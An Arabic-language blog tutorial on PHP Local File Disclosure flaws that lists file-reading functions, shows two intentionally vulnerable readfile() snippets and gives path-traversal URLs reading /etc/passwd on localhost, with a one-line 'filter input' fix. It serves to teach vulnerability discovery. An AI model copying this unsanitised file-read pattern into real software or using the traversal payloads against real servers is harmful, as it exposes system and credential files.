A Study in PHP Vulnerabilities - LFD

بسم الله الرحمن الرحيم

اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين

اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم

اليوم نبدا باذن الله في الدرس الثالث من اكتشاف الثغرات

واليوم معنا

#Local File Disclosure


  من خلال النوع هذا من الثغرات نقدر نقرا محتويات اي ملف نبيه اذا كان تصريحه قابل للقراءة 


الدوال المسببة للنوع هذا من الثغرات 
 1.file_get_contents - Reads entire file into a string
 2.readfile - Outputs a file
 3.file - Reads entire file into an array
 4.fopen - Opens file or URL
 5.highlight_file - Syntax highlighting of a file.Prints out or returns a syntax
                          highlighted version of the code contained in filename using the
                          colors defined in the built-in syntax highlighter for PHP.
 6.show_source - Alias of highlight_file()
الان بعد ماعرفنا الدوال المسببة للنوع هذا من الثغرات تعالوا ناخذ لنا امثلة عشان توضح الصورة اكثر 
           <?php
           $0w4y=$_GET['0w4y'];
           readfile($0w4y);
           ?>
 الدالة readfile تقرا الملف المختار وفي الحالة السابقة لم يتم تحديد اي ملف وبامكاننا حقن الملف المراد بالطريقة التالية


http://127.0.0.1/test.php?0w4y=../../../../../../etc/passwd
ناخذ مثال اخر
          $file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
          header("Pragma: public");
          header("Expires: 0");
          header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
          header("Content-Type: application/force-download");
          header( "Content-Disposition: attachment; filename=".basename($file));
          //header( "Content-Description: File Transfer");
          @readfile($file);
          die();
 الان المتغير file غير امن نشوف في السطر الاول تم استدعائه بـ request والمتغير هذا موجود في السطر قبل الاخير مع دالة readfile وبامكاننا الاستغلال بالطريقة التالية 


 http://127.0.0.1/download.php?file=../../../../../../etc/passwd

طريقة الترقيع 

فلترة المدخلات 



الى هنا وينتهي الدرس القاكم في دروس اخرى باذن الله 

اذا اعجبك الدرس فاذكر الله وادع لي وان لم يعجيك انتقدني لاصبح افضل 

تعليقات

المشاركات الشائعة من هذه المدونة

CRLF injection [\r\n Carriage Return]

Study in Nosql-Injection-Mongodb